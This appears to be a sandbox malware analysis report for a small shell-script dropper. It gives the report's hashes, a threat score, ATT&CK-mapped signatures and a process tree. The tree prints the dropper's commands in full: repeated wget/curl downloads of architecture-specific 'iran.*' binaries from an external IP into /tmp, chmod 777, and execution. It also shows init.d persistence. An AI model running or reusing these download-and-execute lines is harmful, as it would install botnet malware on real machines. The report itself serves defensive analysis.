72178a90597b1ebb5f4c231fca896878e9faf6d18139cc92a35c7da1fe488cb3

Analysis

max time kernel
149s
max time network
152s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20260513-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20260513-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
05/09/2026, 09:34

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
72178a90597b1ebb5f4c231fca896878e9faf6d18139cc92a35c7da1fe488cb3.sh
Size 2KB
Sample260905-ljv4wsda65
SHA256 72178a90597b1ebb5f4c231fca896878e9faf6d18139cc92a35c7da1fe488cb3
MD5 80057273bef6ac78f1a6f4e209264a25
SHA1 5015b7ca5419ca97cb1de8be1f18f1f505cf5c27
SHA512 d707d6dfc9b9f365b9f7c0e2fc58b71bf8b26561d9650de4bc2b948718a777e6a6f65fd9dd2a20c75b26eec73805e34a438b304c9ee051fad380bdf7224685de
TLSH
T1A741339F00B05191861BD98874E54FE6BB6DC56C91EE6631E8D0CFB1484CE70F06AB35
MD5 SHA1 SHA512 TLSH

Score

7^/10

defense_evasion discovery persistence

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 13 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1552	chmod
1557	chmod
1562	chmod
1572	chmod
1577	chmod
1582	chmod
1592	chmod
1597	chmod
1498	chmod
1516	chmod
1534	chmod
1567	chmod
1587	chmod

Executes dropped EXE 1 IoCs

ioc	pid	Process
/tmp/iran.x86_64	1499	72178a90597b1ebb5f4c231fca896878e9faf6d18139cc92a35c7da1fe488cb3.sh

Enumerates running processes
Discovers information about currently running processes on the system

Modifies init.d 2 TTPs 1 IoCs

Adds/modifies system service, likely for persistence.

persistence

Boot or Logon Autostart Execution

T1547

RC Scripts

T1037.004

description	ioc	Process
File opened for modification	/etc/init.d/xs.main	iran.x86_64

Changes its process name 1 IoCs

description	ioc	pid	Process
Changes the process name, possibly in an attempt to hide itself	-sh	1502	iran.x86_64

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/1581/stat	iran.x86_64
File opened for reading	/proc/1590/task/1590/children	iran.x86_64
File opened for reading	/proc/36/comm	iran.x86_64
File opened for reading	/proc/1014/comm	iran.x86_64
File opened for reading	/proc/11/status	iran.x86_64
File opened for reading	/proc/1069/stat	iran.x86_64
File opened for reading	/proc/1501/comm	iran.x86_64
File opened for reading	/proc/1561/comm	iran.x86_64
File opened for reading	/proc/1565/comm	iran.x86_64
File opened for reading	/proc/1/comm	iran.x86_64
File opened for reading	/proc/173/cmdline	iran.x86_64
File opened for reading	/proc/989/stat	iran.x86_64
File opened for reading	/proc/1047/stat	iran.x86_64
File opened for reading	/proc/1485/cmdline	iran.x86_64
File opened for reading	/proc/1520/task/1520/children	iran.x86_64
File opened for reading	/proc/1545/stat	iran.x86_64
File opened for reading	/proc/1556/cmdline	iran.x86_64
File opened for reading	/proc/1077/comm	iran.x86_64
File opened for reading	/proc/15/stat	iran.x86_64
File opened for reading	/proc/158/exe	iran.x86_64
File opened for reading	/proc/169/stat	iran.x86_64
File opened for reading	/proc/498/cmdline	iran.x86_64
File opened for reading	/proc/1145/cmdline	iran.x86_64
File opened for reading	/proc/1565/stat	iran.x86_64
File opened for reading	/proc/1595/task/1595/children	iran.x86_64
File opened for reading	/proc/11/comm	iran.x86_64
File opened for reading	/proc/168/comm	iran.x86_64
File opened for reading	/proc/25/cmdline	iran.x86_64
File opened for reading	/proc/572/stat	iran.x86_64
File opened for reading	/proc/1566/cmdline	iran.x86_64
File opened for reading	/proc/268/comm	iran.x86_64
File opened for reading	/proc/7/stat	iran.x86_64
File opened for reading	/proc/11/cmdline	iran.x86_64
File opened for reading	/proc/13/cmdline	iran.x86_64
File opened for reading	/proc/22/stat	iran.x86_64
File opened for reading	/proc/30/stat	iran.x86_64
File opened for reading	/proc/531/cmdline	iran.x86_64
File opened for reading	/proc/715/cmdline	iran.x86_64
File opened for reading	/proc/1046/comm	iran.x86_64
File opened for reading	/proc/1177/comm	iran.x86_64
File opened for reading	/proc/157/exe	iran.x86_64
File opened for reading	/proc/158/status	iran.x86_64
File opened for reading	/proc/493/status	iran.x86_64
File opened for reading	/proc/675/cmdline	iran.x86_64
File opened for reading	/proc/948/status	iran.x86_64
File opened for reading	/proc/1037/status	iran.x86_64
File opened for reading	/proc/675/comm	iran.x86_64
File opened for reading	/proc/89/status	iran.x86_64
File opened for reading	/proc/201/exe	iran.x86_64
File opened for reading	/proc/1520/status	iran.x86_64
File opened for reading	/proc/1521/cmdline	iran.x86_64
File opened for reading	/proc/440/comm	iran.x86_64
File opened for reading	/proc/7/status	iran.x86_64
File opened for reading	/proc/13/status	iran.x86_64
File opened for reading	/proc/21/status	iran.x86_64
File opened for reading	/proc/165/stat	iran.x86_64
File opened for reading	/proc/499/stat	iran.x86_64
File opened for reading	/proc/667/status	iran.x86_64
File opened for reading	/proc/1068/status	iran.x86_64
File opened for reading	/proc/22/comm	iran.x86_64
File opened for reading	/proc/17/stat	iran.x86_64
File opened for reading	/proc/34/stat	iran.x86_64
File opened for reading	/proc/158/stat	iran.x86_64
File opened for reading	/proc/159/exe	iran.x86_64

System Network Configuration Discovery 1 TTPs 6 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
1556	curl
1558	iran.mipsel
1537	wget
1545	curl
1553	iran.mips
1555	wget

Writes file to tmp directory 14 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/iran.mips	curl
File opened for modification	/tmp/iran.mipsel	wget
File opened for modification	/tmp/iran.powerpc	wget
File opened for modification	/tmp/iran.sparc	wget
File opened for modification	/tmp/iran.sh4	wget
File opened for modification	/tmp/iran.x86_64	wget
File opened for modification	/tmp/iran.arc	wget
File opened for modification	/tmp/iran.i486	wget
File opened for modification	/tmp/iran.armv4l	wget
File opened for modification	/tmp/iran.armv5l	wget
File opened for modification	/tmp/iran.armv6l	wget
File opened for modification	/tmp/iran.aarch64	wget
File opened for modification	/tmp/iran.m68k	wget
File opened for modification	/tmp/iran.mips	wget

/tmp/72178a90597b1ebb5f4c231fca896878e9faf6d18139cc92a35c7da1fe488cb3.sh
/tmp/72178a90597b1ebb5f4c231fca896878e9faf6d18139cc92a35c7da1fe488cb3.sh
1⤵
- Executes dropped EXE
PID:1489
- /usr/bin/wget
  wget http://74.81.40.155/iran.x86_64 -O /tmp/iran.x86_64
  2⤵
  - Writes file to tmp directory
  PID:1490
- /bin/chmod
  chmod 777 /tmp/iran.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:1498
- /tmp/iran.x86_64
  /tmp/iran.x86_64 default
  2⤵
  - Modifies init.d
  - Changes its process name
  - Reads runtime system information
  PID:1499
- /usr/bin/wget
  wget http://74.81.40.155/iran.aarch64 -O /tmp/iran.aarch64
  2⤵
  - Writes file to tmp directory
  PID:1501
- /usr/bin/curl
  curl http://74.81.40.155/iran.aarch64 -o /tmp/iran.aarch64
  2⤵
  PID:1508
- /bin/chmod
  chmod 777 /tmp/iran.aarch64
  2⤵
  - File and Directory Permissions Modification
  PID:1516
- /tmp/iran.aarch64
  /tmp/iran.aarch64 default
  2⤵
  PID:1517
- /bin/sh
  /bin/sh /tmp/iran.aarch64 default
  2⤵
  PID:1517
- /usr/bin/wget
  wget http://74.81.40.155/iran.m68k -O /tmp/iran.m68k
  2⤵
  - Writes file to tmp directory
  PID:1519
- /usr/bin/curl
  curl http://74.81.40.155/iran.m68k -o /tmp/iran.m68k
  2⤵
  PID:1526
- /bin/chmod
  chmod 777 /tmp/iran.m68k
  2⤵
  - File and Directory Permissions Modification
  PID:1534
- /tmp/iran.m68k
  /tmp/iran.m68k default
  2⤵
  PID:1535
- /usr/bin/wget
  wget http://74.81.40.155/iran.mips -O /tmp/iran.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1537
- /usr/bin/curl
  curl http://74.81.40.155/iran.mips -o /tmp/iran.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1545
- /bin/chmod
  chmod 777 /tmp/iran.mips
  2⤵
  - File and Directory Permissions Modification
  PID:1552
- /tmp/iran.mips
  /tmp/iran.mips default
  2⤵
  - System Network Configuration Discovery
  PID:1553
- /usr/bin/wget
  wget http://74.81.40.155/iran.mipsel -O /tmp/iran.mipsel
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1555
- /usr/bin/curl
  curl http://74.81.40.155/iran.mipsel -o /tmp/iran.mipsel
  2⤵
  - System Network Configuration Discovery
  PID:1556
- /bin/chmod
  chmod 777 /tmp/iran.mipsel
  2⤵
  - File and Directory Permissions Modification
  PID:1557
- /tmp/iran.mipsel
  /tmp/iran.mipsel default
  2⤵
  - System Network Configuration Discovery
  PID:1558
- /usr/bin/wget
  wget http://74.81.40.155/iran.powerpc -O /tmp/iran.powerpc
  2⤵
  - Writes file to tmp directory
  PID:1560
- /usr/bin/curl
  curl http://74.81.40.155/iran.powerpc -o /tmp/iran.powerpc
  2⤵
  PID:1561
- /bin/chmod
  chmod 777 /tmp/iran.powerpc
  2⤵
  - File and Directory Permissions Modification
  PID:1562
- /tmp/iran.powerpc
  /tmp/iran.powerpc default
  2⤵
  PID:1563
- /bin/sh
  /bin/sh /tmp/iran.powerpc default
  2⤵
  PID:1563
- /usr/bin/wget
  wget http://74.81.40.155/iran.sparc -O /tmp/iran.sparc
  2⤵
  - Writes file to tmp directory
  PID:1565
- /usr/bin/curl
  curl http://74.81.40.155/iran.sparc -o /tmp/iran.sparc
  2⤵
  PID:1566
- /bin/chmod
  chmod 777 /tmp/iran.sparc
  2⤵
  - File and Directory Permissions Modification
  PID:1567
- /tmp/iran.sparc
  /tmp/iran.sparc default
  2⤵
  PID:1568
- /bin/sh
  /bin/sh /tmp/iran.sparc default
  2⤵
  PID:1568
- /usr/bin/wget
  wget http://74.81.40.155/iran.sh4 -O /tmp/iran.sh4
  2⤵
  - Writes file to tmp directory
  PID:1570
- /usr/bin/curl
  curl http://74.81.40.155/iran.sh4 -o /tmp/iran.sh4
  2⤵
  PID:1571
- /bin/chmod
  chmod 777 /tmp/iran.sh4
  2⤵
  - File and Directory Permissions Modification
  PID:1572
- /tmp/iran.sh4
  /tmp/iran.sh4 default
  2⤵
  PID:1573
- /bin/sh
  /bin/sh /tmp/iran.sh4 default
  2⤵
  PID:1573
- /usr/bin/wget
  wget http://74.81.40.155/iran.arc -O /tmp/iran.arc
  2⤵
  - Writes file to tmp directory
  PID:1575
- /usr/bin/curl
  curl http://74.81.40.155/iran.arc -o /tmp/iran.arc
  2⤵
  PID:1576
- /bin/chmod
  chmod 777 /tmp/iran.arc
  2⤵
  - File and Directory Permissions Modification
  PID:1577
- /tmp/iran.arc
  /tmp/iran.arc default
  2⤵
  PID:1578
- /bin/sh
  /bin/sh /tmp/iran.arc default
  2⤵
  PID:1578
- /usr/bin/wget
  wget http://74.81.40.155/iran.i486 -O /tmp/iran.i486
  2⤵
  - Writes file to tmp directory
  PID:1580
- /usr/bin/curl
  curl http://74.81.40.155/iran.i486 -o /tmp/iran.i486
  2⤵
  PID:1581
- /bin/chmod
  chmod 777 /tmp/iran.i486
  2⤵
  - File and Directory Permissions Modification
  PID:1582
- /tmp/iran.i486
  /tmp/iran.i486 default
  2⤵
  PID:1583
- /bin/sh
  /bin/sh /tmp/iran.i486 default
  2⤵
  PID:1583
- /usr/bin/wget
  wget http://74.81.40.155/iran.armv4l -O /tmp/iran.armv4l
  2⤵
  - Writes file to tmp directory
  PID:1585
- /usr/bin/curl
  curl http://74.81.40.155/iran.armv4l -o /tmp/iran.armv4l
  2⤵
  PID:1586
- /bin/chmod
  chmod 777 /tmp/iran.armv4l
  2⤵
  - File and Directory Permissions Modification
  PID:1587
- /tmp/iran.armv4l
  /tmp/iran.armv4l default
  2⤵
  PID:1588
- /bin/sh
  /bin/sh /tmp/iran.armv4l default
  2⤵
  PID:1588
- /usr/bin/wget
  wget http://74.81.40.155/iran.armv5l -O /tmp/iran.armv5l
  2⤵
  - Writes file to tmp directory
  PID:1590
- /usr/bin/curl
  curl http://74.81.40.155/iran.armv5l -o /tmp/iran.armv5l
  2⤵
  PID:1591
- /bin/chmod
  chmod 777 /tmp/iran.armv5l
  2⤵
  - File and Directory Permissions Modification
  PID:1592
- /tmp/iran.armv5l
  /tmp/iran.armv5l default
  2⤵
  PID:1593
- /bin/sh
  /bin/sh /tmp/iran.armv5l default
  2⤵
  PID:1593
- /usr/bin/wget
  wget http://74.81.40.155/iran.armv6l -O /tmp/iran.armv6l
  2⤵
  - Writes file to tmp directory
  PID:1595
- /usr/bin/curl
  curl http://74.81.40.155/iran.armv6l -o /tmp/iran.armv6l
  2⤵
  PID:1596
- /bin/chmod
  chmod 777 /tmp/iran.armv6l
  2⤵
  - File and Directory Permissions Modification
  PID:1597
- /tmp/iran.armv6l
  /tmp/iran.armv6l default
  2⤵
  PID:1598
- /bin/sh
  /bin/sh /tmp/iran.armv6l default
  2⤵
  PID:1598

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Boot or Logon Initialization Scripts

T1037

RC Scripts

T1037.004

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Boot or Logon Initialization Scripts

T1037

RC Scripts

T1037.004

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

xs.main

Path /etc/init.d/xs.main
Size 35B
SHA256 80d7ad2519c047b9830480b7014f4fffaa3306da3255b5384ed1578a6a0bc49a
MD5 89351a0078db433e4589ba133526ed12
SHA1 521004c42ba1d7223963e26259ef388c961dacf2
SHA512 eaa2bfc4b990379c484b3784bec429a801a0b98fb0ca71d95e4bc9fce06d2c98769ae36ec532adc77a4099d21d186c6f8d18fa9f52f76002d8bb39f5fef07b13
MD5 SHA1 SHA512

Submit Download

iran.x86_64

Path /tmp/iran.x86_64
Size 160KB
SHA256 17cef7494d5c744d34630815ca83080e01066e8c0f4d0baabbd0ef5dd902dd1c
MD5 fa6d8f6f67658a7c3ec73db2e94168d2
SHA1 150ae02c318f4a75c64e43e88b98236ec53cf121
SHA512 a81d292feb9b6af3dc62322eb62ba54b68695685db85e10a79a635eb8baa6054d57995f2c4eeceae9641db2da6b82890ab6ae910902fa2a4bfedf12164a2ee9f
SSDEEP 3072:wQUvIcHn4VklB1Imd10qb8ODAhH4y1jFgOS1EQE:w5pH/wOB2xd/QE
TLSH
T145F35A1279D0D4FEC8E5C2B84BEFA136DA32F4595134721F23C8AE262E5DF212B6D650
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads